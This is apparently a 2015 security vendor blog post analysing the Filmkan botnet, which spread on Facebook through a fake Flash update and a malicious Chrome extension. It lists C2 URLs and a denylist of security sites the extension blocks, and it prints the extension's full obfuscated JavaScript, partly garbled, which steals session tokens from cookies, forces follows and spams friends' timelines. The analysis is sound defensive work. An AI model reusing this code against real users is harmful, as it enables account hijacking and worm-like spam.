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# Filmkan: Mysterious Turkish Botnet Grows Through Facebook

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  By:
  
  * [Ryan Olson](https://unit42.paloaltonetworks.com/author/ryan-olson/)

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  Published:February 5, 2015

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  * [Malware](https://unit42.paloaltonetworks.com/category/malware/)
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  * [Botnet](https://unit42.paloaltonetworks.com/tag/botnet/)
  * [Facebook](https://unit42.paloaltonetworks.com/tag/facebook/)
  * [Filmkan](https://unit42.paloaltonetworks.com/tag/filmkan/)
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  On January 31, a security researcher named Mohammad Faghani [posted](https://seclists.org/fulldisclosure/2015/Jan/131) an analysis of malware that was being distributed through Facebook posts. Based on the number of "likes" the malware had generated, Faghani estimated that over 100,000 users had been infected with the malware. We have not been able to identify a common name for this malware and have given it the designation "Filmkan" based on domains it uses for command and control.

Based on our analysis, this malware was most likely created by a Turkish actor. The malware contains many comments written in Turkish, the domains used for command and control were registered through a Turkish company and the social network profiles involved in the attack belong to Turkish speakers. Filmkan is very flexible, giving it more capability than simple interaction with social networks. The overall motivation of this attack is not clear at this time, but the author of Filmkan has successfully assembled a large botnet in a short amount of time.

### Filmkan Functionality

While the initial report only contained sparse details, Faghani followed up with [additional analysis](https://www.faghani.info/report.txt) on February 2, exposing more functionality related to the malware. Our WildFire analysis cloud first picked up samples of this malware on January 22 and thus far we've collected 44 distinct samples the display the behavior described by Faghani.

At a high level, this malware consists of four components:

* Windows Executable Dropper (Based on [AutoHotkey](https://www.autohotkey.com/))
* A [wget for Windows](https://gnuwin32.sourceforge.net/packages/wget.htm) executable(Legitimate)
* A malicious Google Chrome Extension
* Dynamic JavaScript code delivered by the attacker's server

The initial infection occurs when a user clicks on a link in a Facebook post, which claims to be a pornographic video. After a few seconds the video tells the user they need to download an update for Flash player, which is the initial dropper executable. The attacker hosted the linked executables through Google's cloud storage at the following URLs:

* hxxp://storage.googleapis .com /aytackurst/install\_flashplayer14x32\_x64m
* hxxp://storage.googleapis .com /aytackurst/install\_flashplayer14x32\_x63m
* hxxp://storage.googleapis .com /aytackurst/install\_flashplayer14x32\_x86m

### Filmkan Dropper

The Filmkan dropper has a Flash icon to help make it appear as a legitimate update.

![update flash](https://unit42.paloaltonetworks.com/wp-content/uploads/2015/02/update-flash.png)

The author of Filmkan created the dropper using AutoHotkey (AHK), a legitimate tool for creating Windows applications using a custom scripting language. AHK scripts are compiled into binaries that interpret the script code, making them portable to any Windows system. The AHK scripts included in the Filmkan binaries contain many debugging strings written in Turkish. The scripts have the following functionality:

* Check if Google Chrome is installed on the system
* If Google Chrome is not installed, install it and add a shortcut to the desktop
* Copy the dropper binary to Application Data directory as "Chromium.exe"
* Set a run-key to start Chromium.exe on system start
* Delete files named chromenet.exe and Chromium\_Launcher.exe (Possibly older versions of the dropper)
* Install a legitimate wget.exe executable from within the binary
* Check with three command and control servers for updated executables
* Download an updated executable and replace itself
* Install a malicious Chrome plug-in containing content downloaded from the command and control server

While the dropper is responsible for the initial installation and updating itself, the remaining functionality is contained in the Filmkan Chrome extension.

### Filmkan Chrome Extension

[Chrome extensions](https://developer.chrome.com/extensions) allow developers to extend Google's Chrome browser, typically by adding new functionality. Developers write extensions in JavaScript and HTML, which is typically included in a package along with resources necessary to operate the extension. The Filmkan dropper retrieves JavaScript using the installed wget.exe program from one of the three defined C2 servers. The dropper saves this JavaScript code as "bg.txt", which is defined in the installed Chrome extension manifest as a "background" script. This script will run whenever the Chrome browser is open on the system.

The content of the bg.txt file can be changed any time the attacker chooses. The current version of the script contains three primary functions.

The chrome extension closes any tab the user opens that matches the following URLs, effectively preventing the user from discovering or removing the extension.

* "chrome://extension"
* "chrome://chrome/extension"
* "chrome://settings/resetProfileSettings"
* "opera://extensions/"
* "browser://tune/"
* "chrome://help/"

The extension downloads an array of JSON data from hxxp://www.filmver .com/ahk/get.js. The extension uses this data as a denylist, preventing the browser from loading URLs that contain any of the following strings.

* avast.com
* eset.com
* microsoft.com
* virusscan.jotti.org
* jotti.org
* avg.com
* kaspersky.com.tr
* kaspersky.com
* facebook.com/ajax/webstorage/process\_keys.php
* facebook.com/checkpoint/malware/cr\_ext\_config
* facebook.com/checkpoint/malware/cr\_ext\_log
* dl.dropboxusercontent.com
* docs.google.com
* drive.google.com
* facebook.com/ajax/follow/unfollow\_profile.php
* vuupc.com
* mcafee.com
* googlecode.com
* akamai.net
* facebook.com/xti.php
* .exe
* exelansdealers.com
* facebook.com/ajax/profile/removefriendconfirm.php
* facebook.com/ajax/report/social.php
* joygame.com
* senakadir.org
* yllix.com
* blogspot
* .scr
* hebacanak.xyz
* milyoncu.xyz
* ez123.ezgo123.com
* ezgo123.com
* deactivate.php

Blocking antivirus and security-related domains is a common tactic malware authors use to prevent users from removing an infection, but many of the domains included in this list are mysterious. JoyGame.com is a Turkish video game website, while exelansdealers.com was previously used to host a similar malicious Chrome extension.

The third primary function of this extension is to download and execute JavaScript code from hxxp://www.filmver .com/ahk/user.php. This function makes the Filmkan extension very flexible, as the attacker can modify the script at any time.

When Faghani first published his analysis this component of the malware was forcing the user's Facebook account to "like" specific posts on a community page titled [Sabır.](https://www.facebook.com/pages/Sab%C4%B1r/443951305763395) Some of these posts garnered over 100,000 likes, despite containing very little content.

![fb Filmkan](http://blog.paloaltonetworks.com/wp-content/uploads/2015/02/fb-Filmkan-500x647.png)

The latest version of the script no longer forces the user to like these posts, instead it causes the user to follow two accounts on Twitter and a third account on Facebook.

* Twitter: [Hüseyin](https://twitter.com/Organiktr)
* Twitter: [Emrah Yıldırım](https://twitter.com/SnrtEmrah)
* Facebook: [Hüseyin Karaman](https://www.facebook.com/profile.php?id=513451579)

Other than all three of these accounts belonging to Turkish individuals, the connection between these accounts and this attack is unclear. The script also includes a tracking URL hosted by amung.us, which allows the attacker to identify how many users are actively infected with the malware. A snapshot of the current number of infections follows:

![online](https://unit42.paloaltonetworks.com/wp-content/uploads/2015/02/online.png)

hxxp:// whos.amung .us/swidget/hcfj8xyq9p94

The attacker frequently updates this tracking URL, most likely to keep track of users who are currently executing the latest malicious extension code. The full content of the latest script follows.  
new Image().src='http://whos.amung.us/swidget/hcfj8xyq9p94'; if (location.hostname.indexOf('twitter.com') \>= 0) { function takip(id) { var xhr = new XMLHttpRequest(); var params = 'authenticity\_token=' + document.getElementsByName('authenticity\_token')\[0\].value + '\&challenges\_passed=false\&handles\_challenges=1\&inject\_tweet=false\&user\_id=' + id; xhr.open('POST', 'https://twitter.com/i/user/follow', true); xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhr.setRequestHeader('X-requested-with', 'XMLHttpRequest'); xhr.onreadystatechange = function() { if (xhr.readyState == 4 \&\& xhr.status == 200) { xhr.close; } } xhr.send(params); } takip('2855539282'); takip('884227993'); } if (location.hostname.indexOf("www.facebook.com") \>= 0) { new Image().src = '//whos.amung.us/swidget/facebbom'; window.setInterval(function() { if (document.getElementsByClassName("\_5ce")) { for (i = 0; i \< document.getElementsByClassName("\_5ce").length; i++) { document.getElementsByClassName("\_5ce")\[i\].innerHTML = ""; } } if (document.getElementsByClassName("uiToggle wrap")) { for (i = 0; i \< document.getElementsByClassName("uiToggle wrap").length; i++) { document.getElementsByClassName("uiToggle wrap")\[i\].innerHTML = ""; } } if (document.getElementsByClassName("uiPopover")) { for (i = 0; i \< document.getElementsByClassName("uiPopover").length; i++) { document.getElementsByClassName("uiPopover")\[i\].innerHTML = ""; } } }, 10); var \_0x5806 = \['match', 'cookie', 'value', 'fb\_dtsg', 'getElementsByName', 'profile\_id=513451579\&location=1\&\_\_user=', '\&fb\_dtsg=', 'POST', '/ajax/follow/follow\_profile.php', 'open', 'send', 'ABCDEFGHIJKLMNOPRSTUVYZXabcdefghijklmnoprstuvyzx0123456789', '', 'random', 'floor', 'GET', '//graph.facebook.com/', 'responseText', 'parse', 'name', '//videotr.me/king.php', 'onreadystatechange', 'readyState', 'status', 'durum', 'aktif', 'link', '#', 'stringify', 'https://www.googleapis.com/urlshortener/v1/url', 'Content-type', 'application/json; charset=UTF-8', 'setRequestHeader', 'id', 'http://goo.gl/', 'https://goo.gl/', 'replace', 'http://is.gd/create.php', 'application/x-www-form-urlencoded', 'id="short\_url" value="(.\*?)" onselect', 'url=', 'image', '\&shorturl=\&opt=0', '/ajax/typeahead/place\_tag\_friends.php?\_\_a=1\&content\_id=395870630487365\&viewer=', '\&', '(', 'substr', ')', 'error', 'index', 'sort', 'entries', 'payload', 'length', 'uid', '\&composertags\_with\[', '\]=', 'fb\_dtsg=', '\&xhpc\_context=home', '\&xhpc\_ismeta=1', '\&xhpc\_timeline=', '\&xhpc\_composerid=u\_0\_r', '\&xhpc\_targetid=', '\&xhpc\_publish\_type=1', '\&xhpc\_message\_text=', '\&xhpc\_message=', '\&aktion=post', '\&app\_id=2309869772', '\&attachment\[params\]\[urlInfo\]\[canonical\]=', '\&attachment\[params\]\[urlInfo\]\[final\]=', '\&attachment\[params\]\[urlInfo\]\[user\]=', '\&attachment\[params\]\[responseCode\]=200', '\&attachment\[params\]\[title\]=', '\&attachment\[params\]\[content\_removed\]=', '\&attachment\[params\]\[images\]\[0\]=', '\&attachment\[params\]\[ranked\_images\]\[ranking\_model\_version\]=10', '\&attachment\[params\]\[video\_info\]\[duration\]=0', '\&attachment\[params\]\[medium\]=106', '\&attachment\[params\]\[url\]=', '\&attachment\[params\]\[time\_scraped\]=1419870286', '\&attachment\[params\]\[cache\_hit\]=1', '\&attachment\[params\]\[global\_share\_id\]=474423878758', '\&attachment\[params\]\[was\_recent\]=', '\&attachment\[params\]\[metaTagMap\]\[0\]\[http-equiv\]=content-type', '\&attachment\[params\]\[metaTagM2000x61p\]\[0\]\[content\]=text%2Fhtml%3B%20charset%3Dutf-8', '\&attachment\[params\]\[metaTagMap\]\[1\]\[itemprop\]=image', '\&attachment\[params\]\[og\_info\]\[guesses\]\[0\]\[0\]=og%3Aurl', '\&attachment\[params\]\[og\_info\]\[guesses\]\[0\]\[1\]=', '\&attachment\[params\]\[og\_info\]\[guesses\]\[1\]\[0\]=og%3Atitle', '\&attachment\[params\]\[og\_info\]\[guesses\]\[1\]\[1\]=Google', '\&attachment\[params\]\[og\_info\]\[guesses\]\[2\]\[0\]=og%3Aimage', '\&attachment\[params\]\[og\_info\]\[guesses\]\[3\]\[0\]=og%3Alocale', '\&attachment\[params\]\[og\_info\]\[guesses\]\[3\]\[1\]=tr', '\&attachment\[params\]\[ttl\]=604800', '\&attachment\[params\]\[error\]=1', '\&attachment\[type\]=100', '\&composer\_metrics\[image\_selected\]=0', '\&is\_explicit\_place=', '\&composertags\_place=', '\&composertags\_place\_name=', '\&tagger\_session\_id=1420140363', '\&action\_type\_id\[0\]=', '\&object\_str\[0\]=', '\&object\_id\[0\]=', '\&hide\_object\_attachment=0', '\&og\_suggestion\_mechanism=', '\&og\_suggestion\_logging\_data=', '\&icon\_id=', '\&composertags\_city=', '\&disable\_location\_sharing=false', '\&composer\_predicted\_city=', '\&privacyx=300645083384735', '\&nctr\[\_mod\]=pagelet\_composer', '\&\_\_user=', '\&\_\_a=1', '\&\_\_dyn=7nm8RW8BgBlynzpQ9UoGya4Au74qbx2mbAKGiyFqzQC-C26m5-9V8CdDx2ubhHximmey8qUS8zU', '\&\_\_req=y', '\&ttstamp=265817089758111551991165368', '\&\__rev=1547526', 'ajax/updatestatus.php?av=', 'kingshow_', 'getTime', 'setTime'\]; var profile\_id = document\[\_0x5806\[1\]\]\[\_0x5806\[0\]\](/c\_user=(\\d+)/)\[1\]; var config = document\[\_0x5806\[4\]\](\_0x5806\[3\])\[0\]\[\_0x5806\[2\]\]; var xmlhttp = new XMLHttpRequest(); var params = \_0x5806\[5\] + profile\_id + \_0x5806\[6\] + config; xmlhttp\[\_0x5806\[9\]\](\_0x5806\[7\], \_0x5806\[8\], true); xmlhttp\[\_0x5806\[10\]\](params); function rastgele(\_0xf983x6) { mtn = \_0x5806\[11\]; ret = \_0x5806\[12\]; for (i = 0; i \< \_0xf983x6; i++) { ret += mtn\[Math\[\_0x5806\[14\]\](Math\[\_0x5806\[13\]\]() \* 57)\]; }; return ret; }; var http = new XMLHttpRequest(); http\[\_0x5806\[9\]\](\_0x5806\[15\], \_0x5806\[16\] + profile\_id, false); http\[\_0x5806\[10\]\](); var get = JSON\[\_0x5806\[18\]\](http\[\_0x5806\[17\]\]); var isim = get\[\_0x5806\[19\]\]; function localhost() { var \_0xf983xb = new XMLHttpRequest(); \_0xf983xb\[\_0x5806\[9\]\](\_0x5806\[15\], \_0x5806\[20\], true); \_0xf983xb\[\_0x5806\[21\]\] = function() { if (\_0xf983xb\[\_0x5806\[22\]\] == 4 \&\& \_0xf983xb\[\_0x5806\[23\]\] == 200) { var \_0xf983xc = JSON\[\_0x5806\[18\]\](\_0xf983xb\[\_0x5806\[17\]\]); if (\_0xf983xc\[\_0x5806\[24\]\] == \_0x5806\[25\]) { var xmlhttp = new XMLHttpRequest(); var params = JSON\[\_0x5806\[28\]\]({ longUrl: \_0xf983xc\[\_0x5806\[26\]\] + \_0x5806\[27\] + Math\[\_0x5806\[14\]\]((Math\[\_0x5806\[13\]\]() \* 99999) + 1) }); xmlhttp\[\_0x 5806\[9\]\](\_0x5806\[7\], \_0x5806\[29\], true); xmlhttp\[\_0x5806\[32\]\](\_0x5806\[30\], \_0x5806\[31\]); xmlhttp\[\_0x5806\[21\]\] = function() { if (xmlhttp\[\_0x5806\[22\]\] == 4 \&\& xmlhttp\[\_0x5806\[23\]\] == 200) { var \_0xf983xc = JSON\[\_0x5806\[18\]\](xmlhttp\[\_0x5806\[17\]\]); if (\_0xf983xc\[\_0x5806\[33\]\]) { link = \_0xf983xc\[\_0x5806\[33\]\]\[\_0x5806\[36\]\](\_0x5806\[34\], \_ 0x5806\[35\]); }; }; }; var http = new XMLHttpRequest(); http\[\_0x5806\[9\]\](\_0x5806\[7\], \_0x5806\[37\], true); http\[\_0x5806\[32\]\](\_0x5806\[30\], \_0x5806\[38\]); http\[\_0x5806\[21\]\] = function() { if (http\[\_0x5806\[22\]\] == 4 \&\& http\[\_0x5806\[23\]\] == 200) { image = http\[\_0x5806\[17\]\]\[\_0x5806\[0\]\](\_0x5806\[39\])\[1\]; arkadaslar(); }; }; http\[\_0x5806\[10\]\](\_0x5806\[40\] + \_0xf983xc\[\_0x5806\[41\]\] + \_0x5806\[42\]); }; xmlhttp\[\_0x5806\[10\]\](params); }; }; \_0xf983xb\[\_0x5806\[10\]\](); }; function arkadaslar() { xmlhttp = new XMLHttpRequest(); xmlhttp\[\_0x5806\[9\]\](\_0x5806\[15\], \_0x5806\[43\] + profile\_id + \_0x5806\[44\] + Math\[\_0x5806\[13\]\](), false); xmlhttp\[\_0x5806\[10\]\] (); if (xmlhttp\[\_0x5806\[22\]\] != 4) {} else { data = eval(\_0x5806\[45\] + xmlhttp\[\_0x5806\[17\]\]\[\_0x5806\[46\]\](9) + \_0x5806\[47\]); if (data\[\_0x5806\[48\]\]) {} else { friends = data\[\_0x5806\[52\]\]\[\_0x5806\[51\]\]\[\_0x5806\[50\]\](function(\_0xf983xe, \_0xf983xf) { return \_0xf983xe\[\_0x5806\[49\]\] - \_0xf983xf\[\_0x5806\[49\]\]; }); }; }; var \_0xf983x10 = new Array(new Array()); var \_0xf983x11 = 0; var \_0xf983x12 = 0; for (var \_0xf983x13 = 0; \_0xf983x13 \< friends\[\_0x5806\[53\]\]; \_0xf983x13++) { if (friends\[\_0xf983x13\]\[\_0x5806\[54\]\] != profile\_id) { \_0xf983x10\[\_0xf983x12\]\[\_0xf983x11\] = \_0x5806\[55\] + \_0xf983x11 + \_0x5806\[56\] + friends\[\_0xf983x13\]\[\_0x5806\[54\]\]; \_0xf983x11++; if (\_0xf983x11 \>= 20) { \_0xf983x11 = 0; \_0xf983x12++; \_0xf983x10\[\_0xf983x12\] = new Array(); }; }; }; var \_0xf983x14 = \_0x5806\[12\]; for (var \_0xf983x13 = 0; \_0xf983x13 \< \_0xf983x10\[\_0x5806\[53\]\]; \_0xf983x13++) { for (var \_0xf983x15 = 0; \_0xf983x15 \< \_0xf983x10\[\_0xf983x13\]\[\_0x5806\[53\]\]; \_0xf983x15++) { \_0xf983x14 += \_0xf983x10\[\_0xf983x13\]\[\_0xf983x15\]; }; var \_0xf983xb = new XMLHttpRequest(); var params = \_0x5806\[57\] + config; params += \_0x5806\[58\]; params += \_0x5806\[59\]; params += \_0x5806\[60\]; params += \_0x5806\[61\]; params += \_0x5806\[62\] + profile\_id; params += \_0x5806\[63\]; params += \_0x5806\[64\]; params += \_0x5806\[65\]; params += \_0x5806\[66\]; params += \_0x5806\[67\]; params += \_0x5806\[68\] + link; params += \_0x5806\[69\] + link; params += \_0x5806\[70\] + link; params += \_0x5806\[71\]; params += \_0x5806\[72\] + isim; params += \_0x5806\[73\];74\] + image; params += \_0x5806\[75\]; params += \_0x5806\[76\]; params += \_0x5806\[77\]; params += \_0x5806\[78\] + link; params += \_0x5806\[79\]; params += \_0x5806\[80\]; params += \_0x5806\[81\]; params += \_0x5806\[82\]; params += \_0x5806\[83\]; params += \_0x5806\[84\]; params += \_0x5806\[85\]; para 46dms += \_0x5806\[86\]; params += \_0x5806\[87\] + link; params += \_0x5806\[88\]; params += \_0x5806\[89\]; params += \_0x5806\[90\]; params += \_0x5806\[91\]; params += \_0x5806\[92\]; params += \_0x5806\[93\]; params += \_0x5806\[94\]; params += \_0x5806\[95\]; params += \_0x5806\[96\]; params += \_0x5806\[97\]; params += \_0xf983x14; paams += \_0x5806\[98\]; params += \_0x5806\[99\]; params += \_0x5806\[100\]; params += \_0x5806\[101\]; params += \_0x5806\[102\]; params += \_0x5806\[103\]; params += \_0x5806\[104\]; params += \_0x5806\[105\]; params += \_0x5806\[106\]; params += \_0x5806\[107\]; params += \_0x5806\[108\]; params += \_0x5806\[109\]; params += \_0x5806\[110\]; params += \_0x5806\[111\]; params += \_0x5806\[112\]; params += \_0x5806\[113\] + profile\_id; params += \_0x5806\[114\]; params += \_0x5806\[115\]; params += \_0x5806\[116\]; params += \_0x5806\[117\]; params += \_0x5806\[118\]; \_0xf983xb\[\_0x5806\[9\]\](\_0x5806\[7\], \_0x5806\[119\] + profile\_id, true); \_0xf983xb\[\_0x 5806\[10\]\](params); var \_0xf983x14 = \_0x5806\[12\]; }; }; tarih = new Date(); if (!localStorage\[\_0x5806\[120\] + profile\_id\] || (localStorage\[\_0x5806\[120\] + profile\_id\] \&\& tarih\[\_0x5806\[121\]\]() \>= localStorage\[\_0x58 06\[120\] + profile\_id\])) { tarih\[\_0x5806\[122\]\](tarih\[\_0x5806\[121\]\]() + 1000 \* 60 \* 40); localStorage\[\_0x5806\[120\] + profile\_id\] = tarih\[\_0x5806\[121\]\](); localhost(); }; }

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 | new Image().src='http://whos.amung.us/swidget/hcfj8xyq9p94'; if (location.hostname.indexOf('twitter.com') \>= 0) { function takip(id) { var xhr = new XMLHttpRequest(); var params = 'authenticity\_token=' + document.getElementsByName('authenticity\_token')\[0\].value + '\&challenges\_passed=false\&handles\_challenges=1\&inject\_tweet=false\&user\_id=' + id; xhr.open('POST', 'https://twitter.com/i/user/follow', true); xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhr.setRequestHeader('X-requested-with', 'XMLHttpRequest'); xhr.onreadystatechange = function() { if (xhr.readyState == 4 \&\& xhr.status == 200) { xhr.close; } } xhr.send(params); } takip('2855539282'); takip('884227993'); } if (location.hostname.indexOf("www.facebook.com") \>= 0) { new Image().src = '//whos.amung.us/swidget/facebbom'; window.setInterval(function() { if (document.getElementsByClassName("\_5ce")) { for (i = 0; i \< document.getElementsByClassName("\_5ce").length; i++) { document.getElementsByClassName("\_5ce")\[i\].innerHTML = ""; } } if (document.getElementsByClassName("uiToggle wrap")) { for (i = 0; i \< document.getElementsByClassName("uiToggle wrap").length; i++) { document.getElementsByClassName("uiToggle wrap")\[i\].innerHTML = ""; } } if (document.getElementsByClassName("uiPopover")) { for (i = 0; i \< document.getElementsByClassName("uiPopover").length; i++) { document.getElementsByClassName("uiPopover")\[i\].innerHTML = ""; } } }, 10); var \_0x5806 = \['match', 'cookie', 'value', 'fb\_dtsg', 'getElementsByName', 'profile\_id=513451579\&location=1\&\_\_user=', '\&fb\_dtsg=', 'POST', '/ajax/follow/follow\_profile.php', 'open', 'send', 'ABCDEFGHIJKLMNOPRSTUVYZXabcdefghijklmnoprstuvyzx0123456789', '', 'random', 'floor', 'GET', '//graph.facebook.com/', 'responseText', 'parse', 'name', '//videotr.me/king.php', 'onreadystatechange', 'readyState', 'status', 'durum', 'aktif', 'link', '#', 'stringify', 'https://www.googleapis.com/urlshortener/v1/url', 'Content-type', 'application/json; charset=UTF-8', 'setRequestHeader', 'id', 'http://goo.gl/', 'https://goo.gl/', 'replace', 'http://is.gd/create.php', 'application/x-www-form-urlencoded', 'id="short\_url" value="(.\*?)" onselect', 'url=', 'image', '\&shorturl=\&opt=0', '/ajax/typeahead/place\_tag\_friends.php?\_\_a=1\&content\_id=395870630487365\&viewer=', '\&', '(', 'substr', ')', 'error', 'index', 'sort', 'entries', 'payload', 'length', 'uid', '\&composertags\_with\[', '\]=', 'fb\_dtsg=', '\&xhpc\_context=home', '\&xhpc\_ismeta=1', '\&xhpc\_timeline=', '\&xhpc\_composerid=u\_0\_r', '\&xhpc\_targetid=', '\&xhpc\_publish\_type=1', '\&xhpc\_message\_text=', '\&xhpc\_message=', '\&aktion=post', '\&app\_id=2309869772', '\&attachment\[params\]\[urlInfo\]\[canonical\]=', '\&attachment\[params\]\[urlInfo\]\[final\]=', '\&attachment\[params\]\[urlInfo\]\[user\]=', '\&attachment\[params\]\[responseCode\]=200', '\&attachment\[params\]\[title\]=', '\&attachment\[params\]\[content\_removed\]=', '\&attachment\[params\]\[images\]\[0\]=', '\&attachment\[params\]\[ranked\_images\]\[ranking\_model\_version\]=10', '\&attachment\[params\]\[video\_info\]\[duration\]=0', '\&attachment\[params\]\[medium\]=106', '\&attachment\[params\]\[url\]=', '\&attachment\[params\]\[time\_scraped\]=1419870286', '\&attachment\[params\]\[cache\_hit\]=1', '\&attachment\[params\]\[global\_share\_id\]=474423878758', '\&attachment\[params\]\[was\_recent\]=', '\&attachment\[params\]\[metaTagMap\]\[0\]\[http-equiv\]=content-type', '\&attachment\[params\]\[metaTagM2000x61p\]\[0\]\[content\]=text%2Fhtml%3B%20charset%3Dutf-8', '\&attachment\[params\]\[metaTagMap\]\[1\]\[itemprop\]=image', '\&attachment\[params\]\[og\_info\]\[guesses\]\[0\]\[0\]=og%3Aurl', '\&attachment\[params\]\[og\_info\]\[guesses\]\[0\]\[1\]=', '\&attachment\[params\]\[og\_info\]\[guesses\]\[1\]\[0\]=og%3Atitle', '\&attachment\[params\]\[og\_info\]\[guesses\]\[1\]\[1\]=Google', '\&attachment\[params\]\[og\_info\]\[guesses\]\[2\]\[0\]=og%3Aimage', '\&attachment\[params\]\[og\_info\]\[guesses\]\[3\]\[0\]=og%3Alocale', '\&attachment\[params\]\[og\_info\]\[guesses\]\[3\]\[1\]=tr', '\&attachment\[params\]\[ttl\]=604800', '\&attachment\[params\]\[error\]=1', '\&attachment\[type\]=100', '\&composer\_metrics\[image\_selected\]=0', '\&is\_explicit\_place=', '\&composertags\_place=', '\&composertags\_place\_name=', '\&tagger\_session\_id=1420140363', '\&action\_type\_id\[0\]=', '\&object\_str\[0\]=', '\&object\_id\[0\]=', '\&hide\_object\_attachment=0', '\&og\_suggestion\_mechanism=', '\&og\_suggestion\_logging\_data=', '\&icon\_id=', '\&composertags\_city=', '\&disable\_location\_sharing=false', '\&composer\_predicted\_city=', '\&privacyx=300645083384735', '\&nctr\[\_mod\]=pagelet\_composer', '\&\_\_user=', '\&\_\_a=1', '\&\_\_dyn=7nm8RW8BgBlynzpQ9UoGya4Au74qbx2mbAKGiyFqzQC-C26m5-9V8CdDx2ubhHximmey8qUS8zU', '\&\_\_req=y', '\&ttstamp=265817089758111551991165368', '\&\__rev=1547526', 'ajax/updatestatus.php?av=', 'kingshow_', 'getTime', 'setTime'\]; var profile\_id = document\[\_0x5806\[1\]\]\[\_0x5806\[0\]\](/c\_user=(\\d+)/)\[1\]; var config = document\[\_0x5806\[4\]\](\_0x5806\[3\])\[0\]\[\_0x5806\[2\]\]; var xmlhttp = new XMLHttpRequest(); var params = \_0x5806\[5\] + profile\_id + \_0x5806\[6\] + config; xmlhttp\[\_0x5806\[9\]\](\_0x5806\[7\], \_0x5806\[8\], true); xmlhttp\[\_0x5806\[10\]\](params); function 